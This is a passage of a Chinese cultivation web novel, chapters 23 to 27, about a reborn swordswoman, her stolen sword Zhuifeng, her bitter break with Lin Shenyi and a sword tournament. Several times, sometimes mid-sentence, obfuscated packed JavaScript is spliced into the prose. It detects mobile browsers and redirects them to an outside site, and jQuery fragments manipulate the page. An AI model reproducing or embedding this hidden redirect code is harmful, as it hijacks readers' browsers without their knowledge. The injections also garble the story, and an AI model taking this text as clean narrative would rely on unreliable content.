当追风的剑柄灼伤她粉嫩的掌心,剑修无论如何都不能丢弃的剑,哐当一声跌落在了地面。 她大惊失色:“师姐!求求你帮帮我吧!” 姣好的面容泫然欲泣,虞香仿佛可以想象出谢远为了她这么一句话而大杀四方的场面。 但虞香只是淡淡地看了她的手心一眼。 烫伤的红印从虎口处穿掌而过,可前世,哪怕整条右臂被烧成滚烫红铁,虞香依旧转运真气与之抗衡,直到它低头服输为止。 后来追风嘲笑她不自量力,为逼它认主废了整条右臂,已然是用不了剑,全是无用功,她依然不肯认命,去练成了左手剑。 谢远总说她配不上追风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861107|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 殊不知若不是像她这样的人…… 绝成不了追风剑主。 “师姐——!!” 话落,夏笙笙也没有看清虞香是怎么动的。 等她看清的时候,被她如同烫手山芋拿在手里的剑,已如巨斧一般向前猛劈而去! 巨大的轰然声卷起了滚滚烟尘。 追风剑气所至之处,寸草不生,片甲不留。 虞香:“恐怕今日诸位时运不济,不如改日再来?” 妖族的死士说人类语言时的口吻生涩,却带着一种宿命感。 “完不成任务,我们回去也是死。” “出剑吧。” …… 他们救世门的几个弟子皆是剑修。 大师兄的剑最朴实,横是横,斩是斩,一笔一划公正规矩,威力无穷。 二师兄的剑最华丽,回风舞雪,乱琼碎玉,说是对剑,更似舞剑。 三师兄的剑最诡谲,招招刁钻不可预料,往往虞香还没有碰到他的一片衣角,人便已被他掀翻在地。 小师妹的剑最灵动,她的剑犹如溪水中的小鱼,最是灵活多变。 若说虞香自己……她却有点说不上来。 她不像同门的天才们,没有太多的天赋,也不是剑修的料子。 单清指导她最多,她的剑里自然有最多他的影子。 被谢远踩踏得多了,多少从他那里学会了一招三式。 因仰慕白衍机,便照葫芦画瓢,最终模仿了个不伦不类。 她的剑平淡无奇,杂乱无章。 但说起来,她的剑便是剑。 用得最多的…… 是用来杀人。 虞香十分记得前世的夏笙笙向她诉说的这段过往。 她说自己与谢远本是去万剑秘境寻剑的,中途却突然掉到了另一个小天地,她在那里遇见了一只伤痕累累的小狐狸,撞上了要赶尽杀绝的妖族死士。 她说谢远让她捂住耳朵,背过身,再也不要转头。 一炷香的时间,她的小狐狸便被谢远救出,将他收为灵宠后,方才知晓他原来是妖族的前太子。 提起这一切的时候,夏笙笙的神色轻松,充满了对谢远的崇拜,对灵宠的喜爱。 她丝毫没有提起被谢远杀光的妖族死士。 虞香猜是谢远为了保护她,不愿意污染她,而隐瞒了全部。 但今日,她必须要知道…… 虞香:“夏笙笙,你要看好了,看仔细了。” 她挥剑甩掉追风剑身上的血污。 后指向全军覆没的妖族死士。 “这些所有的妖,全部是因你而死。” “这人世间……” “从来就没有什么轻而易举,简单容易。” 23. 第 23 章 妖族死士全军覆没。 妖族前太子顺利脱逃。 撇除本该站在这里的人是谢远、夏笙笙本不会吐得连胆汁都呕出来,所有发生的事情皆和前世相差无几。 ……虞香本以为是这样的。 然而,安静下来后,她才发现自己身上在不知道什么时候多了一个血契。 虞香顿时想起了自己接住了浑身是血的烛苍,下意识望去时,恰好接上了对方先是愕然,后泛起厌恶的眼神,便知道自己的猜测没有出错。 烛苍阴差阳错成为了她的灵宠。 从打击中恢复过来的夏笙笙似乎变得沉稳了,她擦干净脸,脚步虚浮地走了过来,向虞香贺喜: “……恭喜师姐。” 可这在烛苍眼中是一场灾难。 他没有忘记最初的虞香根本不想出手,是后来情不得已才救了他。 比起虞香,他更喜欢善良亲切的夏笙笙。 于是已经成为虞香灵宠的他,此刻却挂在了夏笙笙的肩膀上,用抗拒的眼神看着前者,狐吻亲昵地贴着后者的脸庞。 “我讨厌她。” “我要跟你在一起。” 夏笙笙顿时不知所措。 血契是绝对的,只要虞香下命令,就算烛苍百般不愿也必须要服从。 但此时看着亲密的一人一兽,她只是说了句:“随你们吧。” 虞香的心思并不在此。 只要夏笙笙不死,她和她的小狐狸想做什么、要做什么,她都全无所谓。 此时她感到不安,是因为她觉得自己好像忘记了什么。 妖族死士已经覆灭,烛苍和夏笙笙也安然无恙……不,不对。 前世夏笙笙为救烛苍身中奇毒,可所有敌人被谢远全部杀光,她又怎么会突然中毒,莫非是妖族死士的尸体…… 顺着思绪的推进,虞香的目光也渐渐从正前方侧向了脚边的尸首。 她感觉到空气似乎有了不同寻常的波动。 那俨然就像是爆炸的前奏…… 是尸毒! 千钧一发之际,虞香忽然觉得自己被人拦腰抱起,在轰然的爆炸声中,她看到的林深意冷峻的侧脸。 看到他,她不由地笑了。 “我还以为你不会再出现了。” …… 虞香不知系统,不懂攻略。 可她也没有那么愚钝。 一次两次她或许察觉不到,但随着时间的推移,她很难看不出来林深意的攻略任务发生了变化。 他的任务不再是攻略她了。 问起邪剑时,它要不是顾左右而言他,就是拿其它话来搪塞。 邪剑知道她一心想着陆寻,会豁出一切去帮助林深意。 若它不肯说,那一定是真相会导出它眼中的最坏局面。 林深意推开她,分明不再需要她的喜欢,却依然在她的附近徘徊。 若说他的攻略目标换成了别人,也从不见他对谁示好、跟谁走得近一些。 他先是来到救世门,又送他们去到剑宗,顺着白衍机的撮合,与她独处。 那就像是他一直在她的身边寻求着某种机会。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861108|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一个杀死她的机会。 林深意这次的攻略任务,是杀死她。 所以在她被夏笙笙卷入风波的瞬间,他最后回头看过来的眼神,才会是那个样子。 他像是对此早有预料。 明明紧绷着张脸,却双眼发红,就像是知道这是最后一次看到她。 这是他能看到她的最后一眼。 可是…… 虞香:“为什么要来救我?” 他的声线一如既往的冰冷,他的说辞毫无新意。 “你是白衍机的师妹,我自然不能见死不救。” 闻言,虞香嘴边的笑意不由地深了几分。 酒酽春浓,美好又圆满。 “……真是个傻子。” 在林深意怔愣之时,虞香松开了环住他肩膀的手,踩在了地面。 她望向另一头不知什么时候赶来、正好护住了夏笙笙和小狐狸的谢远。 对方留意到了她的视线。 仅仅两日不见,他看向她的眼神变得更加冰冷,居高临下的表情仿佛在看着什么千古罪人。 比之当年他一个剑招把她掀翻在地,踩着她的胸口说她不配当追风剑主时,更是有加无已。 一定发生了什么。 不过虞香也不在意了。 她的结局已经决定。 她的人生想要在即将到来的试剑大会上谢幕。 她想要打败谢远。 哪怕只有一次也好。 虞香:“林深意,你再稍微等我一下吧。” 很快,你就能回家了。 24. 第 24 章 继谢远出现后,白衍机很快也来了。 他看向她的眼神也变得有点奇怪。 说出来的话更是让人摸不着头脑。 白衍机:“虞香,你不用担心,事情很快就会解决的,师兄我去去就回。” 这么说完之后,他匆匆地走了。 原地只留下她、林深意、夏笙笙、谢远四人,外加一条重伤的火狐狸。 白衍机走后,全场再也没有了能镇得住谢远的人。 他冷冽目光向下一扫,当看见握在虞香手中的追风,声音冷得好像能结成冰。 “追风怎么在你手里?” 夏笙笙脸色一急,赶忙想要解释:“是我给……” 虞香轻轻一笑,打断了夏笙笙的话,云淡风轻的口吻仿佛气死不偿命。 “自然是我从夏笙笙的手里拿过来的。” 谢远:“立刻还给她。” 虞香摇摇头:“这恐怕不行,追风已经认我为主。” “你要是想让我把它还给夏笙笙,这恐怕……” 她刻意拖长了声音,直视谢远的眼神中全是挑衅。 “得杀了我才行。” 谢远果然勃然大怒:“你以为我不敢杀你?!” “那当然不是。” “说起来……近日便有一个能让你杀了我的机会。” “剑宗举办试剑大会在即,我们在那里一决高下吧。” 迎着对方沉压压的视线,虞香微微笑了。 在这一刻,空气中的血腥味似乎变得格外的浓重。 “谢远。” “其实我想杀你也已经很久了。” …… 谢远留下句“试剑大会上你好自为之”后就带着夏笙笙走了。 他被她三言两语气炸,最初看到夏笙笙的脖子上挂着只妖,举剑要立刻斩杀,是夏笙笙在旁好说歹说,才让谢远留了他一命。 幸存下来的烛苍倒是很会狐假虎威。 他踩在夏笙笙肩膀上趾高气扬的神情,已经有前世的几分神韵了。 虞香不以为意,见他们走了,转身便盯着林深意看。 直到把对方盯得浑身发毛,她才抿唇压下想要翘起的嘴角,低声质问他: “你刚刚干嘛不出声帮我?” 林深意显然没想到她会这么说,直接被她给问愣了。 虞香:“你是白衍机的朋友,我是白衍机的师妹,你应该要帮我的。” 林深意:“……” 抓住对方没法反驳的机会,虞香一鼓作气:“方才便算了。作为我二师兄的好友,你现在是不是应该带我参观一下剑宗?” 话落,迎着对方说不出话的神情,她掩嘴微愕: “你这个假剑宗弟子……不会连你自己也不知道路吧?” 林深意终于忍不住:“……我知道路。” 虞香:“那我们走吧?” 林深意:“……” 虞香:“?” 林深意:“……走吧。” 看着他直挺高大以至于显得过于冰冷和疏离的背影,虞香的眼眸里全是笑意。 …… 林深意显然不知道该如何面对她了。 但那并不是虞香要考虑的问题。 既然林深意开口闭口都是白衍机,全是什么朋友什么师妹,那她便顺着他来。 近水楼台先得月。 既然他自己给出了这个机会,那她自然也当从善如流。 于是当意识到林深意将她带到休息小住的地方后就想摆脱她,虞香突然停下了步伐,站在原地哎呀了一声。 虞香:“林道友,我的手臂好像因为刚才的打斗受伤了。” 他猛地转过头看向她突如其来的手臂脱力,脸上不禁流露出因不知道她要搞什么鬼名堂而担惊受怕的神色。 虞香怎肯放过他? 云淡风轻地说完“白衍机将我托付给你……”后便低头看向自己被血污垢成一簇一簇的发丝,最后抬首向他莞尔一笑。 “所以接下来恐怕要劳驾林道友照顾我了。” 林深意:“我去找人来帮你……” 见他转身就走,虞香面上波澜不惊,接下来一句话就把他定在了原地不止,还转过了头。 “你亲我都亲过了,你还在顾忌什么?” “……虞香!” 虞香啊了一声,接着挑眉问他:“不叫香香了吗?” 附近不少人闻声皆八卦地望了过来,虞香的姿态和语气依旧坦然自若。 “当初可是你死皮赖脸地叫我香香来香香去,这才过了十天半个月就不认账了吗?” “我是……” 虞香:“我知道你是林深意,就像我知道你是我二师兄的好友。” 虞香:“你真的要拒绝我吗?” 虞香:“那我只好回去找白衍机告状去了。” 林深意望向她的眼神像是第一天认识她。 他觉得陌生,是因为他忘了她本来就是个为达目的不择手段的人。 同情心、责任感、道德心,她什么都能利用。 凝视着游移不定的林深意,虞香眼中有光流转,声色微苦。 “我也觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861109|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己很可悲。” “所以……你就不能稍微迁就我一下吗?” 他的眼里似乎有叹息。 他终究是妥协了。 …… 虞香如愿以偿地把林深意骗到了身边。 侧首看着他拿布一点一点擦拭她发尾的时候,感受到他动作的轻柔,虞香也会不禁觉得好像回到了过去,回到了他们在村子里的那段时光。 外头的日光照在木桶里的水,再映照在他眼中时,他的脸庞、眼神,似乎都变得不那么冰冷了,开始有了温度。 那就仿佛…… 什么都没有变过。 可她不该产生这样的幻觉。 如果她不开口,不问,就让一切安静地停留在这一刻,至少她与陆寻的过去,依旧是一段美好的回忆。 但是……她终是忍不住出声了。 虞香:“你在那边……过得好吗?” 他的动作陡然一顿。 她本以为他会像在此之前的那样,无数次地否认过去,然而唯独这次,他没有再把林深意与陆寻划分开来。 他应了声:“恩。” 虞香表面上看着从容自若,胸腔里的那颗心脏却顿时提了起来。 她知道自己应该要闭嘴的,却没有能管住自己的嘴巴。 虞香:“离开了这里,回到了故乡,你是不是很开心?” 他说:“对。” 虞香:“回去之后……你有一次想起过我吗?” 他没有说有,也没有说没有。 他第一次在她主动说了这么多话,但她情愿他从不曾开口才好。 “虞香,你应该也清楚,我主动接近你、对你的所有好,全部都是我的任务。” “我从来没有爱过你。” “……” “……” 虞香从来没有任何一个瞬间会比现在更想念陆寻。 即便是假的,就算只是没有灵魂的人偶,他也绝对不会对她说出这样的话。 哪怕把剑架在他的脖子旁边,他也说不出来。 虞香不禁闭上了发烫的双眼。 “陆寻在哪……我想要见他。” 他的一声“香香”让她的心脏轻颤了下之余,不由衷地睁开了双眼。 他正直直地注视着她。 陆寻眼中的深情,林深意眼中的冷漠,恍然渐渐重叠在了一起。 恍恍惚惚中,虞香只听到他说: “我是林深意,也是陆寻。” “可陆寻已经死了。” “这世上……只下一个林深意了。” 25. 第 25 章 他说陆寻已死,这世上只剩下了林深意。 将界限划得清清白白。 可他的身上却处处都有陆寻的影子。 这世上只有陆寻会叫她香香,只有陆寻会记得与她之间的过往。 虞香很难把他们分开看作两个人。 不过她也知道。 不仅是林深意,即便是陆寻,他们都从来没有爱过她。 没有人会爱上她。 但就算他不喜欢、不情愿,她也要押着他一起度过最后的时间。 以前虞香也会想着如果注定要失去,那她宁可从不曾拥有。 然而如今当死亡近在眼前,她蓦然意识到…… 既然死亡会让她失去一切。 那她能够拥有的,就只剩下此时此刻。 虞香:“过几日便是试剑大会,你能不能陪我去挑一个剑穗?” 当林深意沉默地看过来,她只是付之一笑。 “如果你能陪我去,我就不再缠着你了。” 虞香最后自是如愿以偿了。 …… 林深意说是答应了陪去。 结果等到了剑宗门下的交易市集,只是一直跟在了她的身后,她问他什么都不应,偶尔点头,已是全部。 虞香也不恼。 林深意的反应在她预料之内,情理之中,来买剑穗本也不过只是个借口,他能老老实实地跟在她的三步以内,已是得偿所愿了。 虞香心情愉快,脚步轻松。 拉着林深意在市集左逛逛右看看,什么都觉得有趣。 等终于在摊位前站定,认真地挑选剑穗时,已是半个时辰之后了。 她拿起一块黑色的剑穗,刚想转头想问林深意的意见,旁边忽然传来一声不确信的呼唤: “虞香?” 听到对方的声音,虞香的脑子一片空白。 顺着声音传来的方向望过去时,整个人更是愣在了原地。 对方墨冠束发,剑眉飞扬。 这分明是…… 虞香:“……陆寻?” 霎时间,虞香好像看见余光中的林深意僵在了原地。 可她分不出心神去关心他了。 望着身旁那个像极了陆寻的男人,她的双眼一眨不眨,仿佛被符咒定住。 陆寻被她亲手杀死。 这世上若突然出现一个无论是声音还是容貌皆像极了他,那只能是那一个人。 ——她前世的心上人。 明尘。 果不其然: “虞道友恐怕认错了人。” “我来自隐门,名叫明尘。” …… 陆寻是林深意为了攻略她而照着明尘捏出来的人。 他们不光有一样的打扮,连五官和和声线都像了个八九不离十。 虞香之所以能分清楚他们,是因为他们的神态、神情。 明尘永远只会用厌恶的眼神看她,到后来更是只剩下了恨。 陆寻则是温柔亲切,面向她的笑容总是如沐春风。 因而如今看到明尘主动叫她,还一副和颜悦色的样子……虞香只觉得有些荒唐,仿佛在做梦一样。 但这一切并不是梦。 虞香看得清清楚楚。 不是对着别人,明尘在自我介绍的时候,真的对着她笑了。 明尘:“上回在救世门的欢迎宴上,我曾经见过你一次面,有幸看到你与天宗堂主的对剑。” 他慨叹:“那一剑实在出彩漂亮。后来我一直想与你结识,却碍于没有机会。” “今日偶遇也是缘分,不知虞道友可否赏脸与我小逛一会?” 明尘言尽于此,虞香也不好拒绝。 思量了下后,点头同意了。 她回头望向面色铁青的林深意,对他说道: “你随意逛一下吧,回去也没有关系。” 话落,虞香便放下了手中的黑色剑穗,转头随明尘走了。 …… 虞香能答应明尘,心里也没有过多的想法。 事到如今,她已经不爱他了。 否则也不会在看到他的瞬间想起的是死去的陆寻。 之所以与他同逛市集,是因为她记得很清楚,这是前世的自己昼思夜想了无数个日夜的事情。 如今能有机会实现,既是一种圆满,也是为最初的恋情划上一个句号。 明尘对她没有别的意思。 虽比不过谢远,但他也是修真界出名的剑痴。 她那一日对战天宗堂主的画面似乎给他留下了很深刻的印象,因而言语之中尽是对她的欣赏。 从白昼走到日暮,他们讨论的话题也只有剑和修炼。 虞香本以为他们的话题会以剑结束,不想他最后还是问了出来: “你口中那个叫陆寻的人……是谁?” 虞香没想到明尘会在意这种事情,因而是微怔了一下,才慢慢解释道: “他是我喜欢的人,与你有些相像。” 结果对方很是愕然。 “我本以为白天一直跟在你身后的男子,是你的道侣。” 这下错愕的人变成了虞香。 见她那么吃惊,明尘下意识认为自己应是误会了。 然而当回想起林深意走在虞香身后,看她背影时的眼神,忽然又不太确定。 但明尘到底没有把疑惑说出口,只笑笑道:“你答应跟我走的那会,他看上去不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861110|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太高兴。” 虞香只道他是会错了意。 林深意之所以面色铁青,是因为误以为她对明尘旧情复燃,怕她破坏他与夏笙笙的感情线,才会那么不乐意。 这些解释虞香不能对明尘说出口,于是只笑了下,看开了一般解释道: “他不是爱我。” “他只是人比较心软,觉得我很可怜,所以才会陪着我,留在我的身边。” 明尘一时不知该如何回应。 虞香不想他为难,笑着便转移了主题。 “今日很高兴能遇见你。” 他脸色应是因为谈起剑时而激动微红。 “这句话该我说才是,你不吝分享,让我受益良多。” “希望日后……还能像今日这般与你交流。” 迎着明尘好像在闪闪发光一样的眼神,虞香点头应了声好。 …… 虞香没有想过要去找林深意。 他跟过来时本就是不情不愿,如今有机会走,自然是走得不回头。 更何况为了明尘和夏笙笙,他一定会主动找来的。 果然,虞香一回到剑宗住地,便看到了等在门外的林深意。 她明知道他是为何而来,却仍然笑眼弯弯地对他说: “你刻意在这里等我,会让我误会的。” 林深意只是淡淡的看了她一眼。 “他不是陆寻。” 虞香当然清楚明尘与陆寻是不同的两个人,不过…… 虞香:“我愿意把他当成谁,那他便是谁。” 他似乎咬紧了牙关。 “陆寻已经死了,永远不可能再回来了。” 虞香:“我知道。” 虞香:“毕竟他是我亲手杀死的。” 她轻描淡写的口吻把林深意定在了原地。 见他不再开口,虞香准备推门进屋,然而即将与林深意擦肩而过之际,手臂被他抓住,扣留在了原地。 他低头看过来的眼睛略红,声线微沙。 “……你想做什么?” 虞香想他能放下与她一起度过的九年。 林深意对她没有爱。 那天他出现在了万剑秘境的小天地中,出手救了她,只能是因为同情、愧疚,因为他还放不下那段共同度过的时光。 可一次就足够了。 一个要想要回家的人,是不应该被她和过去绊住了脚。 虞香:“我想看到你的诚意。” 虞香:“既然你不想我去破坏明尘和夏笙笙的感情,那恐怕……要委屈你自己来讨好我了。” 他应该要厌恶她。 舍弃她。 等回家之后,就彻底忘掉她吧。 26. 第 26 章 林深意抓着她的手本来像是铁拷一样,听完她说的话后顿时松了开来。 虞香的余光向下一扫,发现他又攥紧了拳头。 林深意:“你想我……怎么做?” 他不苟言笑,全是如临大敌般的棘手严峻。 见他如此,虞香双手抱胸,轻蔑地笑了。 她微微前倾了身子,凑到他跟前,让他看清楚自己脸上的讥诮嘲弄。 “你不知道怎么讨好人吗?” “可是我看你以前不是做得挺好的吗?” 林深意抿起嘴唇,神色微僵。 殊不知这只是开始。 “为了攻略任务你可真是什么都做得出来。” 虞香空出一只手,食指连连戳着他的心口。 “就算被我拒绝成那样也不知廉耻地接近我,没脸没皮地献媚……你怎么会问我该怎么做呢?” “恐怕没有人比你更清楚了。” 林深意被她的一番话抨击得面色苍白。 即便如此,虞香也没有给他留下任何喘息的机会。 “你不想讨好我了吗?” “那我明日便去找明尘好了。” “也不知道为什么,他今生看我格外顺眼,与我交谈甚欢,一个下午都没有歇息过一会。” 她微笑着问他:“林深意,你说……他是不是有点喜欢我?” 这一定是他的逆鳞。 只要事关男女主人公的感情线,林深意总是会立刻行动。 虞香的话音仅仅是刚刚落下,便感到自己被一股强劲的力量直接拽进了屋子里。 还没有看清眼前的场景,便听身后的两扇门“砰”的一声被猛地关上,接着她被他压在了门上,整个人动弹不得。 “林深意你——” 混乱之中,他的嘴唇压了下来。 正正好压在了她的嘴唇上。 在这瞬间,虞香只觉得他可悲又可恨,脱口而出的话语七分真三分假。 “林深意,你真是个垃圾。” “为了攻略你当真什么都做得出来。” 他抬起了头,拉开了一点距离,挤不进来的光线终于落到了两人之间。 “对。” “所以你不要去喜欢他。” “我什么都能做的。” 可当看到她含在眼眶里的水光,林深意冷静了下来,强硬的气势不由地弱了下去。 “……怎么哭了?” 虞香别开脸:“没什么。” 林深意默了默,最后说了一声:“对不起。” “我不想听你说对不起。” 于是林深意没有再说。 他也没有再出声。 他放轻放柔了动作,再次吻上她时变得温柔无比。 虞香没有拒绝他。 她拒绝不了。 也不想拒绝。 …… 自那夜起,虞香让林深意去做什么,他通通都会去做。 即便他的脸上依旧很少笑容,跟陆寻一点都不像,但也不会再拒绝她。 面对她的羞辱,他咬紧了牙关,逆来顺受。 面对她的颐指气使,他一声不吭,全部抗下。 而在试剑大会开始比第一剑之前,明尘来找过她两次。 他从不知道哪里打听到了她的落脚处,虞香推开门时,看到的便是他明朗光亮的脸庞。 他问她有没有空和他小聚,想与她谈天论剑。 第一次虞香拒绝了。 第二次因为想让林深意厌恶她的出尔反尔,于是点头答应了。 她去时是大白天,回时已是深夜。 时隔半日再见到林深意,他的脸色比天上的月光还要清寒冷冽。 盯着她咬牙切齿说出来的话音都透着一股寒气。 “你去哪里了?” 虞香一时兴起,今夜多贪了几杯,在从林深意跟前经过时看都没有看他一眼,徒留一地酒气。 “你不是知道吗?何必再问?” 林深意:“你答应过我的。” 虞香整个人被他强硬地拽停在了原地,垂眸懒洋洋地望过去时尽带着股不以为意。 她同样强势地把自己的手从林深意掌心中扯出来,眉眼轻佻,全是讥诮。 “没想到你居然信了。” 虞香匪夷所思地摇了摇头:“真是天真。” “……” “这是……他给你的?” 虞香顺着林深意的视线看到了挂在追风剑柄上的雪白剑穗。 而在今日之前,挂在同样地方的本来是林深意送给她的黑色剑穗。 虞香:“自然。” 她露出幸福甜蜜的笑:“他祝我在明日的试剑大会上功成名遂,很期待能看到我的表现。” “……我给你的那个呢?” 虞香:“当然是丢掉了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861111|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林深意不肯相信。 他固执地翻找她袖口的时候,虞香一动不动,由得他去找。 她做事向来不留破绽。 说是丢掉了,那便真是丢掉了。 可这还不够。 要让林深意对她彻底心死,她还要淋上最后一桶冷水。 虞香:“跟他比起来你不值一提。” 她的双手捧起他的脸庞,拇指细细描绘他的轮廓,她目光深情,仿佛在透过他凝视着另一个人。 “林深意,我当初会喜欢上你,本来也就只是因为你像极了他。” “我不过是把你当成了他的替身而已。” “看在你这段时间的表现,我可以答应你不去干涉夏笙笙和明尘。” 她微微笑了下,是那般温柔,却绝情寡义。 “但如果明尘非要喜欢上我……那就不是我能管得住的事情了。” 林深意果然被她的一番话激怒。 他的内心仿佛有一团怒火在燃烧,烧得眼眶发红,不经意间从唇齿之间的音节泄漏了出去。 “你到底……想做什么?” 虞香被他逗得哈哈大笑。 “你到现在还看不出来吗?” 笑得仰起来的视线重新落到他脸上时,瞪大的眼睛与上扬的嘴角形成了一种疯狂,从她嘴中吐出来的每一个字眼,都饱含了浓烈的感情。 “林深意,我恨你。” “恨你当初骗了我,恨你不告而别的离开,恨你再回来时的假装不认识我,恨你只想着自己的攻略而从来没有在意过我的感受。” “我从来就没有想过要实现对你的承诺,只是为了折辱你,才把你强留了下来。” 虞香倒退了两步,居高临下地俯视着他,眉眼恹恹。 “听懂了吗?” “你还在这里干什么?” “不赶紧滚吗?” 林深意并不如虞香想象中的大发雷霆。 他所有的愤怒似乎都压抑在了心里,也可能是不想再在她这里无谓地浪费时间。 他离去时走得干脆利落。 没有再留下一句话。 也没有回过一次头。 从这一刻起,他和她之间的关系就如同虞香亲手丢掉的剑穗。 再也找不回来。 没有任何的可能了。 想到这里,虞香不由地笑了。 心里觉得挺好。 27. 第 27 章 前世虞香没有出现在试剑大会上。 这个时间点正好是夏笙笙为救小狐狸身中奇毒,群医束手无策,她只身杀上了齐天山寻求圣药的时候。 历届的试剑大会,向来是谢远的舞台。 他出山当年便大放异彩,以变幻莫测的剑招被人称之为“诡剑”。 自那以后,他没有输过一次。 虞香也不曾赢过他一次。 对谢远,虞香印象最深的永远是他在得知她成为追风剑主后,仅用了一个剑招就将她掀翻在地,踩在她的胸口上说她不配。 可这并不是第一次。 以前单清以师傅的名义押着谢远教她使剑时,说是教,他更形同在发泄。 他的不满、对她的厌弃轻视,全部融入在了他的剑里。 谢远像是一座永远无法逾越的高山,将她的脑袋死死地按进了土地里,眼睛看不到前路,鼻子呛满淤泥,难以喘息。 前世虞香在拔出邪剑后,再也没有了和谢远单独对剑的时机。 如今阴差阳错得到了机会,怎么都不能错过。 但在迎上谢远之前,她要先扫去眼前的阻碍。 “试剑大会第三十二场——” 虞香闻声回神。 “前救世门弟子虞香。” 她上前一步,向对手抱拳。 “承让。” …… 追风剑出,风波便起。 若是换了另外两把名剑,许能安然无事,然而追风向来自顾自地闪光,从不顾及他人死活,在万剑从中都是最打眼的那把。 在重新拿起它的时候,虞香便知有些事情是避不开的了。 果然比试尚未开始,剑宗青云台下的所有人,包括虞香此场比试的对手,皆紧紧注视着她手中的剑。 “我分明听说追风剑主乃是救世门新入门的小弟子。” “这把剑……怎么会在你的手里?” 虞香懒得解释太多。 她笑了笑后直接甩出一句:“那自然是从我前师妹的手里抢过来的。” 对方也不知道是不是跟夏笙笙有交情,当即气急败坏地痛骂: “无耻!” 虞香困惑:“是我前师妹无能,不能让追风认主,我把握时机,将本就属于我的东西握在我手里……这怎么能说是无耻?” 话落,一股强烈的杀气犹如刺刀一样直戳虞香背脊。 她没有回头。 持剑反手一挥,打出的一道剑气轰得烟尘满天。 待烟尘散去,她才冲露出面貌的谢远微微笑了下,算是对他回礼了。 她的对手见此一幕,连连摇头,眼中尽是唏嘘感叹。 “难怪你被逐出师门……有你这般弟子,是救世门的耻辱。” 虞香点头认同:“你说得对,我师傅听了恐怕都要鼓掌称是。” 虞香:“既然如此……不如你便替我师傅教训我一顿,让我知道知道厉害?” 那人冷冷一笑。 “少说废话!” “我们手下见真章!” 虞香挑眉表示认同。 于是她也不再废话,挑起追风就把对方干了个人仰马翻。 当一个错身就掀翻了对手,脚踩他胸口,追风直接插进距离他耳边不到三公分的凝土中时,虞香恍然感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861112|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受到了过去谢远羞辱她时的快意。 因而说话时都带上了恣意狂放的腔调。 “垃圾。” 隔了近了,虞香能很明显看到被她干趴在地上的对手瞳孔极速紧缩。 但这还不够。 远远不够。 于是虞香抬起视线,放慢了动作,缓慢四周。 死寂之中,她的声音如雷贯耳。 “啊,这话倒也不是针对你一个人的。” “我的意思是……” “在场的所有人,都是垃圾。” …… 虞香一战成名。 当年谢远打满全场才被封了个诡剑,她只打了一局,便被送上了狂剑的名头。 虞香乐见其成,继续将狂剑之名贯彻始终。 能一招干翻的对手,她绝不会留到第二招。 对方出言不逊,让她有多不爽,她就百倍奉还,将近得罪了整个剑宗人马。 